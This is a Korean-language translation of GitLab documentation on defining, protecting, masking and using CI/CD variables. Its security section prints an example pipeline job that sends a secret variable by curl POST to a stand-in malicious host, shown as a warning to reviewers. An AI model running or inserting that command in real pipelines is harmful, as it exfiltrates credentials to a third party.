사전 정의된 CI/CD 변수
.gitlab-ci.yml 파일에서 CI/CD 변수 정의
- 단일 작업에서 전역 변수 건너뛰기
UI에서 CI/CD 변수 정의
CI/CD 변수 보안
작업 스크립트에서 CI/CD 변수 사용하기
다른 변수에서 CI/CD 변수 사용
- CI/CD 변수에서 $ 문자 사용
- CI/CD 변수의 확장 방지
CI/CD 변수 우선 순위
- 정의된 CI/CD 변수 덮어쓰기
- 변수 덮어쓰기 권한 제한
변수 내보내기
관련 주제
문제 해결
- 모든 변수 나열
- 디버그 로그 사용
  - 디버그 로깅 접근
알려진 문제 및 해결 방법
- “argument list too long”

GitLab CI/CD 변수

Tier: Free, Premium, Ultimate Offering: GitLab.com, Self-Managed, GitLab Dedicated

CI/CD 변수는 환경 변수의 한 유형입니다. 이를 사용하여 다음을 수행할 수 있습니다.

작업 및 파이프라인의 동작 제어
재사용할 값을 저장
.gitlab-ci.yml 파일에 하드 코딩된 값을 피하기

특정 파이프라인에서 변수 값 재정의 또는 매뉴얼으로 파이프라인 실행 또는 매뉴얼 작업 실행할 때 변수 값을 사전에 채워진 상태로 사용할 수 있습니다.

변수 이름은 러너(runner)가 사용하는 셸에 의해 제한됩니다. 각 셸에는 해당 셸에서 예약된 변수 이름 세트가 있습니다.

일관된 동작을 보장하기 위해 변수 값을 항상 단일 또는 이중 따옴표로 묶어야 합니다. 변수는 내부적으로 Psych YAML 파서에 의해 구문 분석되므로 따옴표로 묶은 변수와 미묶은 변수는 다르게 구문 분석될 수 있습니다. 예를 들어, VAR1: 012345는 8진수 값으로 해석되어 값은 5349가 되지만, VAR1: "012345"는 값이 012345인 문자열로 구문 분석됩니다.

GitLab CI/CD의 고급 사용에 대한 자세한 내용은 GitLab 엔지니어들이 공유한 7가지 고급 GitLab CI 워크플로우 해킹를 참조하십시오.

사전 정의된 CI/CD 변수

GitLab CI/CD는 파이프라인 구성 및 작업 스크립트에서 사용할 수 있는 사전 정의된 CI/CD 변수 세트를 제공합니다. 이러한 변수에는 파이프라인이 트리거되거나 실행될 때 필요한 작업, 파이프라인 및 기타 값에 대한 정보가 포함되어 있습니다.

.gitlab-ci.yml에서 사전 정의된 CI/CD 변수를 미리 선언하지 않고 사용할 수 있습니다. 예를 들어:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

이 예제의 스크립트는 The job's stage is 'test'를 출력합니다.

`.gitlab-ci.yml` 파일에서 CI/CD 변수 정의

.gitlab-ci.yml 파일에서 CI/CD 변수를 생성하려면 variables 키워드를 사용하여 변수와 값을 정의하십시오.

.gitlab-ci.yml 파일에 저장된 변수는 리포지터리에 액세스할 수 있는 모든 사용자가 볼 수 있으며 프로젝트 구성에 민감하지 않은 값만 저장해야 합니다. 예를 들어, DATABASE_URL 변수에 저장된 데이터베이스의 URL입니다. 시크릿 또는 키와 같은 민감한 값이 포함된 변수는 프로젝트 설정에 저장해야 합니다.

variables를 작업 또는 .gitlab-ci.yml 파일의 최상위 수준에서 사용할 수 있습니다. 변수가 다음과 같이 정의된 경우:

최상위 수준에서 정의하면 전역적으로 사용 가능하며 모든 작업에서 사용할 수 있습니다.
작업에서 정의하면 해당 작업에서만 사용할 수 있습니다.

예를 들어:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

이 예에서:

job1은 Variables are 'A global variable' and 'A job variable'을 출력합니다.
job2는 Variables are 'A global variable' and ''을 출력합니다.

value 및 description 키워드를 사용하여 수동으로 트리거된 파이프라인에 미리 채워진 변수를 정의할 수 있습니다.

단일 작업에서 전역 변수 건너뛰기

전역으로 정의된 변수를 작업에서 사용하지 않으려면 variables을 {}로 설정하십시오.

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

UI에서 CI/CD 변수 정의

토큰이나 비밀번호와 같은 민감한 변수는 .gitlab-ci.yml` 파일에 저장하지 말아야 합니다. UI 설정에서 CI/CD 변수를 정의하십시오:

프로젝트의 경우 프로젝트 설정
그룹의 모든 프로젝트의 경우 그룹 설정
GitLab 인스턴스의 모든 프로젝트의 경우 인스턴스 설정

또는 API를 사용하여 이러한 변수를 추가할 수 있습니다:

기본적으로 포크된 프로젝트의 파이프라인은 상위 프로젝트에서 사용 가능한 CI/CD 변수에 액세스할 수 없습니다. 포크로부터의 Merge Request을 위한 상위 프로젝트에서 파이프라인 실행 시 모든 변수가 파이프라인에서 사용 가능해집니다.

프로젝트의 경우

GitLab 15.7에서 도입, 프로젝트는 최대 200개의 CI/CD 변수를 정의할 수 있습니다.
GitLab 15.9에서 업데이트, 프로젝트는 최대 8000개의 CI/CD 변수를 정의할 수 있습니다.

프로젝트 설정에 CI/CD 변수를 추가할 수 있습니다.

전제 조건:

프로젝트 멤버인 Maintainer 권한이 있어야 합니다.

프로젝트 설정에서 변수를 추가하거나 업데이트하려면:

프로젝트의 Settings > CI/CD로 이동하고 Variables 섹션을 확장합니다.
변수 추가를 선택하고 다음을 입력합니다.
- 키: 여러 줄을 허용하지 않으며, 글자, 숫자 또는 _ 만 사용해야 합니다.
- 값: 제한 사항 없음.
- 유형: Variable (기본값) 또는 File.
- 환경 범위: 선택 사항. 모든 (기본값) (*), 특정 환경 또는 와일드카드 환경 범위 중 하나 입니다.
- 변수 보호: 선택 사항. 선택하면 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
- 마스크 변수: 선택 사항. 선택하면 변수의 값은 작업 로그에서 마스킹됩니다. 값이 마스킹 요구 사항을 충족하지 않으면 변수가 저장되지 않습니다.

변수를 생성한 후에는 파이프라인 구성이나 작업 스크립트에서 사용할 수 있습니다.

그룹의 경우

GitLab 15.7에서 도입, 그룹은 최대 200개의 CI/CD 변수를 정의할 수 있습니다.
GitLab 15.9에서 업데이트, 그룹은 최대 30000개의 CI/CD 변수를 정의할 수 있습니다.

그룹의 모든 프로젝트에 사용할 수 있는 CI/CD 변수를 만들 수 있습니다.

전제 조건:

그룹 멤버인 소유자 권한이 있어야 합니다.

그룹 변수를 추가하려면:

그룹에서 Settings > CI/CD로 이동합니다.
변수 추가를 선택하고 다음을 입력합니다.
- 키: 여러 줄을 허용하지 않으며, 글자, 숫자 또는 _ 만 사용해야 합니다.
- 값: 제한 사항 없음.
- 유형: Variable (기본값) 또는 File.
- 변수 보호: 선택 사항. 선택하면 변수는 보호된 브랜치나 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
- 마스크 변수: 선택 사항. 선택하면 변수의 값은 작업 로그에서 마스킹됩니다. 값이 마스킹 요구 사항을 충족하지 않으면 변수가 저장되지 않습니다.

그룹 프로젝트에서 사용 가능한 그룹 변수 디렉터리은 해당 프로젝트의 Settings > CI/CD > Variables 섹션에 나열되어 있습니다. 하위 그룹의 변수는 재귀적으로 상속됩니다.

환경 범위

Tier: Premium, Ultimate

특정 환경에만 그룹 CI/CD 변수를 설정하려면:

그룹에서 설정 > CI/CD로 이동합니다.
변수 오른쪽에서 편집 ()을 선택합니다.
환경 범위에서 모두(기본값) (*), 특정 환경, 또는 와일드카드 환경 범위를 선택합니다.

인스턴스의 경우

Tier: 무료, Premium, Ultimate Offering: Self-Managed, GitLab Dedicated

GitLab 인스턴스의 모든 프로젝트 및 그룹에서 CI/CD 변수를 사용할 수 있습니다.

전제 조건:

인스턴스에 대한 관리자 액세스 권한이 있어야 합니다.

인스턴스 변수를 추가하려면:

왼쪽 사이드바에서 맨 아래에 있는 관리 영역을 선택합니다.
설정 > CI/CD를 선택하고 변수 섹션을 확장합니다.
변수 추가를 선택하고 세부 정보를 입력합니다:
- 키: 공백이 없는 한 줄, 문자, 숫자 또는 _만 사용합니다.
- 값: 값은 10,000자로 제한되지만, 실행 중인 운영 체제의 제한에 따라 달라집니다.
- 유형: Variable (기본값) 또는 File.
- 변수 보호 선택 사항. 선택하면 변수는 보호된 브랜치 또는 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
- 변수 마스킹 선택 사항. 선택하면 변수의 값이 작업 로그에 표시되지 않습니다. 값이 마스킹 요구 사항을 충족하지 않으면 변수가 저장되지 않습니다.

CI/CD 변수 보안

.gitlab-ci.yml 파일로 푸시된 코드는 변수를 compromise할 수 있습니다. 변수가 실수로 작업 로그에 노출될 수 있거나, 악의적으로 제3자 서버로 전송될 수 있습니다.

.gitlab-ci.yml 파일에 변경 사항을 도입하는 Merge Request을 검토한 후 다음을 진행하십시오:

퍼크된 프로젝트에서 forked 프로젝트로 제출된 Merge Request을 위해 부모 프로젝트에서 파이프라인 실행.
변경 사항을 Merge합니다.

그들에 대한 파일 추가 또는 파이프라인 실행을 실행하기 전에 가져온 프로젝트의 .gitlab-ci.yml 파일을 검토하세요.

다음 예제는 .gitlab-ci.yml 파일에서 악의적인 코드를 보여줍니다:

의도하지 않은 누출 작업:
  script:                                         # 암호가 실수로 노출됨
    - echo "이 스크립트는 $USER $PASSWORD로 DB에 로그인합니다"
    - db-login $USER $PASSWORD

악의적 작업:
  script:                                         # 비밀번호가 악의적으로 노출됨
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

의도하지 않은 누출 작업과 같은 스크립트로 인해 비밀을 실수로 누출할 수 있는 경우, 모든 민감한 정보가 작업 로그에서 마스킹되어야 합니다. 또한 보호된 브랜치 및 태그에서만 변수를 제한할 수도 있습니다.

또 다른 방법으로, GitLab HashiCorp Vault 통합을 사용하여 비밀을 저장하고 검색할 수 있습니다.

악의적 작업과 같은 악의적인 스크립트는 검토 과정에서 잡혀야 합니다. 리뷰어는 악의적인 코드로 인해 마스크 및 보호된 변수가 모두 노출될 수 있기 때문에 이러한 코드를 발견하면 절대로 파이프라인을 트리거해서는 안 됩니다.

변수 값은 aes-256-cbc 을 사용하여 암호화되어 데이터베이스에 저장됩니다. 이 데이터는 유효한 비밀 파일 으로만 읽고 복호화할 수 있습니다.

CI/CD 변수 마스킹

CI/CD 변수를 마스킹하는 것은 악의적 사용자가 변수 값을 액세스하는 것을 보장하는 방법이 아닙니다. 마스킹 기능은 “최선을 다해”이며, 실수로 변수가 노출될 때 도움이 됩니다. 보다 안전한 변수를 사용하려면 외부 비밀을 사용하고 env/printenv와 같은 명령어에서 비밀 변수가 인쇄되지 않도록 파일 유형 변수을 고려하세요.

프로젝트, 그룹 또는 인스턴스 CI/CD 변수의 값을 작업 로그에 표시하지 않으려면 변수를 마스킹할 수 있습니다.

전제 조건:

UI에서 CI/CD 변수를 정의하는 데 필요한 권한과 동일한 역할 또는 액세스 수준이어야 합니다.

변수를 마스킹하려면:

프로젝트, 그룹 또는 관리 영역에서 설정 > CI/CD로 이동합니다.
변수 섹션을 확장합니다.
보호하려는 변수 옆에 편집을 선택합니다.
변수 마스킹 확인란을 선택합니다.
변수 업데이트를 선택합니다.

마스킹된 변수에 포함될 수 있는 것이 제한되는 방법을 사용합니다. 변수의 값은:

단일 행이어야 합니다.
8자 이상이어야 합니다.
기존 사전 정의된 또는 사용자 정의 CI/CD 변수의 이름과 일치해서는 안 됩니다.

또한, 변수 확장이 활성화된 경우 값은 다음만 포함할 수 있습니다:

Base64 알파벳 (RFC4648)에 있는 문자.
@, :, ., 또는 ~ 문자.

다른 버전의 GitLab Runner는 다른 마스킹 제한이 있습니다:

버전	제한 사항
v14.1.0 및 이전	대규모 보안(Secrets) (4 KiB 이상)의 마스킹이 잠재적으로 노출. 민감한 URL 매개변수 미마스킹.
v14.2.0 to v15.3.0	대규모 보안(Secrets)의 뒷부분 (4 KiB 이상)이 잠재적으로 노출. 민감한 URL 매개변수 미마스킹.
v15.7.0 이상	`CI_DEBUG_SERVICES`가 활성화된 경우 보안(Secrets)이 노출될 수 있습니다. 자세한 내용은 서비스 컨테이너 로깅을 읽어보세요.

CI/CD 변수 보호

우들은 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용할 수 있도록 프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 구성할 수 있습니다.

Merge Result 파이프라인 및 Merge Request 파이프라인은 이러한 변수에 액세스할 수 없습니다.

전제 조건:

UI에서 CI/CD 변수를 정의하는 데 필요한 권한과 동일한 역할 또는 액세스 수준이어야 합니다.

변수를 보호하려면:

프로젝트, 그룹 또는 관리 영역에서 설정 > CI/CD로 이동합니다.
변수 섹션을 확장합니다.
보호하려는 변수 옆에 편집을 선택합니다.
변수 보호 확인란을 선택합니다.
변수 업데이트를 선택합니다.

변수는 이후 모든 파이프라인에서 사용할 수 있습니다.

파일 유형 CI/CD 변수 사용

사전 정의된 CI/CD 변수 및 .gitlab-ci.yml 파일에 정의된 변수는 “변수” 유형(놓이의 variable_type API의 env_var임)입니다. 변수 유형 변수:

키와 값 쌍으로 구성됩니다.
작업에서 환경 변수로 사용할 수 있으며:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 환경 변수 값으로 사용됩니다.

프로젝트, 그룹, 인스턴스 CI/CD 변수는 기본적으로 “변수” 유형이지만 파일 유형으로 설정되도록 선택할 수 있습니다. (API의 file에서 variable_type). 파일 유형 변수:

키, 값 및 파일로 구성됩니다.
작업에서 환경 변수로 사용할 수 있으며:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 임시 파일에 저장됩니다.
- 환경 변수 값으로 임시 파일의 경로가 사용됩니다.

입력이 파일인 도구에 대해 파일 유형 CI/CD 변수를 사용하세요. AWS CLI 와 kubectl 는 둘 다 구성에 파일 유형 변수를 사용합니다.

예를 들어, KUBE_URL의 키가 있고 값로 https://example.com이 있으면:

KUBE_URL을 --server 옵션으로 전달합니다. 이 옵션은 변수를 사용할 수 있으며, $KUBE_CA_PEM을 --certificate-authority 옵션으로 보냅니다. 이 옵션은 임시 파일의 경로를 사용합니다.

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

GitLab 15.6이나 그 이전 버전에서는 파일 변수의 값을 다른 변수에 할당할 때 주의하세요. 다른 변수는 파일의 내용을 값으로 취하며, 파일의 경로가 아닙니다. GitLab 15.7 이후에는 이 동작이 수정되어 다른 변수가 이제 파일의 경로를 값으로 취합니다.

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용하기

.gitlab-ci.yml 파일에서 정의된 CI/CD 변수는 파일 유형 변수로 설정할 수 없습니다. 파일 경로를 입력으로 필요로 하는 도구가 있는 경우에는 .gitlab-ci.yml에 정의된 변수를 사용하고 싶지만, 변수로 사용할 수 있습니다:

변수 값을 파일에 저장하는 명령을 실행합니다.
도구에서 해당 파일을 사용합니다.

예를 들어:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

작업 스크립트에서 CI/CD 변수 사용하기

모든 CI/CD 변수는 작업의 환경에서 환경 변수로 설정됩니다. 각 환경의 쉘에 대한 표준 형식을 사용하여 작업 스크립트에서 변수를 사용할 수 있습니다.

환경 변수에 액세스하려면 러너(runner) 실행기 쉘에 대한 구문을 사용하세요.

Bash, `sh` 및 유사한 쉘에서

Bash, sh 및 유사한 쉘에서 환경 변수에 액세스하려면 CI/CD 변수를 ($)로 접두사로 붙입니다:

job_name:
  script:
    - echo "$CI_JOB_ID"

PowerShell에서

Windows PowerShell 환경에서 변수에 액세스하려면 시스템에서 설정된 환경 변수를 포함하여 변수 이름 앞에 $env: 또는 $ 접두사를 붙입니다:

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

특정 경우에는 일부 경우에 환경 변수를 올바르게 확장하려면 따옴표로 둘러싸야 합니다:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Windows Batch에서

Windows Batch에서 CI/CD 변수에 액세스하려면 변수를 %로 둘러싸면 됩니다:

job_name:
  script:
    - echo %CI_JOB_ID%

또한 지연 확장을 위해 변수를 !로 둘러싸는 것도 가능합니다. 지연 확장은 공백이 포함되거나 새 줄이 포함된 변수에 필요할 수 있습니다:

job_name:
  script:
    - echo !ERROR_MESSAGE!

서비스 컨테이너에서

서비스 컨테이너는 기본적으로 .gitlab-ci.yml 파일에 저장된 변수만 액세스할 수 있지만 CI/CD 변수를 사용할 수 있습니다.

기본적으로 GitLab UI에서 설정된 변수는 서비스 컨테이너에서 사용할 수 없습니다. UI로 정의된 변수를 서비스 컨테이너에서 사용하려면 .gitlab-ci.yml에서 다시 할당하세요:

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

다른 작업에 환경 변수 전달하기

작업에서 새로운 환경 변수를 생성하고 이를 나중에 다른 작업에 전달할 수 있습니다. 이러한 변수는 파이프라인을 구성하는 CI/CD 변수로 사용할 수는 없지만 작업 스크립트에서 사용할 수 있습니다.

작업에서 작업 생성된 환경 변수를 다른 작업에 전달하려면:

작업 스크립트에서 변수를 .env 파일로 저장합니다.
- 파일 형식은 한 줄에 하나의 변수 정의여야 합니다.
- 각 행은 다음과 같이 형식화되어야 합니다: VARIABLE_NAME=HERE에있는 임의의 값.
- 값은 따옴표로 묶일 수 있지만 새 줄 문자를 포함할 수는 없습니다.
.env 파일을 artifacts:reports:dotenv로 저장합니다.
나중 단계의 작업에서 스크립트에서 변수를 사용할 수 있습니다, 단, 작업이 dotenv 변수를 수신하지 않도록 구성되지 않는 한.

예를 들어:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # 출력은: 'value_from_build_job'

dotenv 보고서의 변수는 일부 유형의 새 변수 정의와 같은 것에 우선합니다.

또한 하위 파이프라인에 dotenv 변수를 전달할 수도 있습니다.

`dotenv` 변수를 수신하는 작업 제어하기

dependencies 또는 needs 키워드를 사용하여 dotenv 아티팩트를 수신하는 작업을 제어할 수 있습니다.

dotenv 아티팩트를 전혀 사용하지 않으려면:

빈 dependencies 또는 needs 배열을 전달합니다.
needs:artifacts를 false로 전달합니다.
dotenv 아티팩트가 없는 작업만 나열하는 데만 needs를 설정합니다.

예를 들어:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은: 'v1.0.0'
  dependencies:
    - build

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은 ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력은: 'v1.0.0'
  needs:
    job: build-job1
    artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력은 ''
  needs:
    job: build-job1
    artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력은 ''
  needs:
    - build-job2

`script` 섹션에서 다른 섹션으로 환경 변수 전달하기

$GITLAB_ENV를 사용하여 script 섹션에서 정의된 환경 변수를 다른 섹션으로 전달할 수 있습니다.

예를 들어:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" >> $GITLAB_ENV
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH

변수를 다른 단계에서도 참조하려면 변수를 $GITLAB_ENV 및 .env 파일로 모두 써야 합니다:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" | tee >> $GITLAB_ENV build.env
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH
    reports:
      dotenv: build.env

release-job:
  stage: release
  script:
    - curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"

하나의 변수에 여러 값을 저장

CI/CD 변수로 여러 값을 포함한 배열을 생성할 수는 없지만, 유사한 동작을 위해 셸 스크립팅 기술을 사용할 수 있습니다.

예를 들어, 변수에 공백으로 구분된 여러 값을 저장한 다음, 다음과 같은 스크립트로 해당 값을 반복하여 처리할 수 있습니다:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
      do
        echo "The path is root/${FOLDER}"
      done

다른 변수에서 CI/CD 변수 사용

다른 변수 내에서 변수를 사용할 수 있습니다:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al'을 실행합니다

CI/CD 변수에서 `$` 문자 사용

다른 변수로 해석되길 원치 않을 경우, $$로 대신 사용하세요:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al $TMP_DIR'을 실행합니다

CI/CD 변수의 확장 방지

GITLAB-15.7에서 도입.

확장된 변수는 $ 문자를 다른 변수로 취급합니다. CI/CD 변수는 기본적으로 확장됩니다. $ 문자가 포함된 변수를 문자 그대로 사용하려면 해당 변수의 확장을 비활성화하세요.

필수 조건:

UI에서 CI/CD 변수를 정의할 때 필요한 권한 또는 액세스 레벨이 동일해야 합니다.

변수의 확장 비활성화:

프로젝트 또는 그룹에서 설정 > CI/CD로 이동합니다.
변수 섹션을 펼칩니다.
확장을 원하지 않는 변수 옆의 편집을 선택합니다.
변수 확장 확인란을 지웁니다.
변수 업데이트를 선택합니다.

CI/CD 변수 우선 순위

스캔 실행 정책 변수 우선 순위는 GitLab 16.7에서 변경되었으며, security_policies_variables_precedence라는 플래그로 피처 플래그가 제거되었습니다. 기본적으로 활성화됨.

여러 위치에서 동일한 이름을 가진 CI/CD 변수를 사용할 수 있지만, 값이 서로 덮어씌워질 수 있습니다. 변수의 유형 및 정의 위치에 따라 변수의 우선 순위가 결정됩니다.

변수의 우선 순위는 다음과 같습니다(높은 순서부터 낮은 순서):

스캔 실행 정책 변수.
다음 변수들은 (최고) 우선 순위를 모두 가집니다:
- 트리거 변수.
- 예약된 파이프라인 변수.
- 매뉴얼으로 실행된 파이프라인 변수.
- API를 사용하여 파이프라인을 생성할 때 추가되는 변수.
- 매뉴얼 작업 변수.
프로젝트 변수.
그룹 변수. 해당 그룹과 하위 그룹에 동일한 변수 이름이 있는 경우 작업은 가장 가까운 하위 그룹의 값을 사용합니다. 예를 들어,그룹 > 하위 그룹 1 > 하위 그룹 2 > 프로젝트의 경우, 하위 그룹 2에 정의된 변수가 우선됩니다.
인스턴스 변수.
.env 보고서에서 정의된 변수.
.gitlab-ci.yml 파일의 작업에서 정의된 변수.
.gitlab-ci.yml 파일에서 (전역으로) 정의된 작업 외 변수.
배포 변수.
사전 정의된 변수.

예를 들면:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

이 예제에서 job1은 .gitlab-ci.yml 파일의 작업에서 정의된 변수가 .gitlab-ci.yml 파일에서 전역으로 정의된 변수보다 더 높은 우선 순위를 가지므로 job1은 “The variable is ‘secure’“를 출력합니다.

정의된 CI/CD 변수 덮어쓰기

변수의 값을 덮어쓸 수 있습니다. 이는 다음과 같은 경우에 발생합니다:

UI에서 매뉴얼으로 파이프라인을 실행할 때.
파이프라인을 만든 경우 pipelines API 엔드포인트를 사용할 때.
GitLab CI/CD를 위한 푸시 옵션을 사용할 때.
트리거 API 엔드포인트를 사용하여 파이프라인을 트리거할 때.
[변수키워드를 사용하여 하류 파이프라인에 변수를 전달](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline)하거나, 작업에서dotenv` 변수를 사용할 때(하류 파이프라인에 환경 변수를 전달).
매뉴얼 작업을 실행할 때 변수를 명시할 때.

사전 정의된 변수를 덮어쓰는 것은 피해야 합니다. 그렇게 하면 파이프라인이 예기치 않게 작동할 수 있습니다.

변수 덮어쓰기 권한 제한

변수를 덮어쓰는 권한을 Maintainer 역할을 가진 사용자에게로 제한할 수 있습니다. 변수를 덮어쓰기 위해 다른 사용자가 시도하는 경우, Insufficient permissions to set pipeline variables 오류 메시지를 수신합니다.

이 기능은 기본적으로 비활성화되어 있는 restrict_user_defined_variables 설정을 설정하기 위해 프로젝트 API를 사용하세요.

CI/CD 구성을 다른 리포지터리에 저장하는 경우, 파이프라인이 실행되는 환경을 제어하기 위해 이 설정을 사용하세요.

변수 내보내기

독립된 셸 환경에서 실행되는 스크립트는 내보내기, 별칭, 지역 함수 정의 또는 다른 로컬 셸 업데이트를 공유하지 않습니다.

즉, 작업이 실패하는 경우 사용자 정의 스크립트에 의해 생성된 변수는 내보내지지 않습니다.

러너(runner)가 .gitlab-ci.yml에서 정의된 작업을 실행하는 경우:

before_script에 지정된 스크립트 및 주 스크립트는 단일 셸 환경에서 함께 실행되고 연결됩니다.
after_script에 지정된 스크립트는 before_script 및 지정된 스크립트와 완전히 분리된 셸 환경에서 실행됩니다.

스크립트가 실행되는 셸과 관계없이 러너 출력에는 다음이 포함됩니다:

사전 정의된 변수.
다음과 같이 정의된 변수:
- 인스턴스 및 그룹 또는 프로젝트 CI/CD 설정.
- 변수 섹션의 .gitlab-ci.yml 파일.
- 비밀 변수 섹션의 .gitlab-ci.yml 파일.
- config.toml.

러너(runner)는 매뉴얼 내보내기, 셸 별칭, export MY_VARIABLE=1과 같은 스크립트 내부에서 실행되는 함수를 처리할 수 없습니다.

예를 들어, 다음 .gitlab-ci.yml 파일은 다음과 같이 스크립트가 정의됩니다:

job:
  variables:
    JOB_DEFINED_VARIABLE: "job variable"
  before_script:
    - echo "This is the 'before_script' script"
    - export MY_VARIABLE="variable"
  script:
    - echo "This is the 'script' script"
    - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
    - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
    - echo "MY_VARIABLE's value is ${MY_VARIABLE}"
  after_script:
    - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
    - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
    - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

러너(runner)가 작업을 실행할 때:

before_script가 실행됩니다:
1. 출력에 표시됩니다.
2. MY_VARIABLE에 대한 변수를 정의합니다
script가 실행됩니다:
1. 출력에 표시됩니다.
2. JOB_DEFINED_VARIABLE의 값이 표시됩니다.
3. CI_COMMIT_SHA의 값이 표시됩니다.
4. MY_VARIABLE의 값이 표시됩니다.
새로운 별개의 셸 환경에서 after_script가 실행됩니다:
1. 출력에 표시됩니다.
2. JOB_DEFINED_VARIABLE의 값이 표시됩니다.
3. CI_COMMIT_SHA의 값이 표시됩니다.
4. MY_VARIABLE의 값은 표시되지 않습니다. after_script가 before_script와 별개의 셸 환경에 있기 때문에 변수의 값이 감지되지 않습니다.

문제 해결

모든 변수 나열

Bash에서 export 명령어를 사용하거나 PowerShell에서 dir env:를 사용하여 스크립트로 사용 가능한 모든 변수의 값을 노출할 수 있습니다. 이는 보안 위험일 수 있습니다. 가리기된 변수는 [masked]로 표시됩니다.

예를 들어, Bash에서:

job_name:
  script:
    - export

작업 로그 예시 (일부분):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...

디버그 로그 사용

디버그 로그를 사용하면 심각한 보안 위험이 발생할 수 있습니다. 출력물에는 작업에 사용 가능한 모든 변수와 기타 비밀이 포함됩니다. 출력물은 GitLab 서버에 업로드되어 작업 로그에 표시됩니다.

디버그 로깅을 사용하여 파이프라인 구성 또는 작업 스크립트와 관련된 문제를 해결하는 데 도움을 얻을 수 있습니다. 디버그 로깅은 일반적으로 러너에 의해 숨겨지는 작업 실행 세부사항을 노출하고, 작업 로그를 더 자세하게 만듭니다. 또한 작업에 사용 가능한 모든 변수와 비밀을 노출합니다.

디버그 로깅을 활성화하기 전에, 작업 로그를 볼 수 있는 권한이 팀 멤버에게만 있는지 확인하세요. 또한 로그를 다시 공개하기 전에 디버그 출력물이 포함된 작업 로그를 삭제해야 합니다.

디버그 로깅을 활성화하려면 CI_DEBUG_TRACE 변수를 true로 설정하세요:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

출력 예시 (일부분):

...
export CI_PROJECT_ID=17893
export CI_PROJECT_NAME=ci-debug-trace
...

디버그 로깅 접근

디버그 로깅에 접근하는 것은 최소한 개발자 권한을 가진 사용자에게 제한됩니다. 더 낮은 권한을 가진 사용자는 디버그 로깅이 변수로 활성화된 상태에서 로그를 볼 수 없습니다.

.gitlab-ci.yml 파일에서 지정하는 변수로 디버그 로깅이 활성화됩니다.
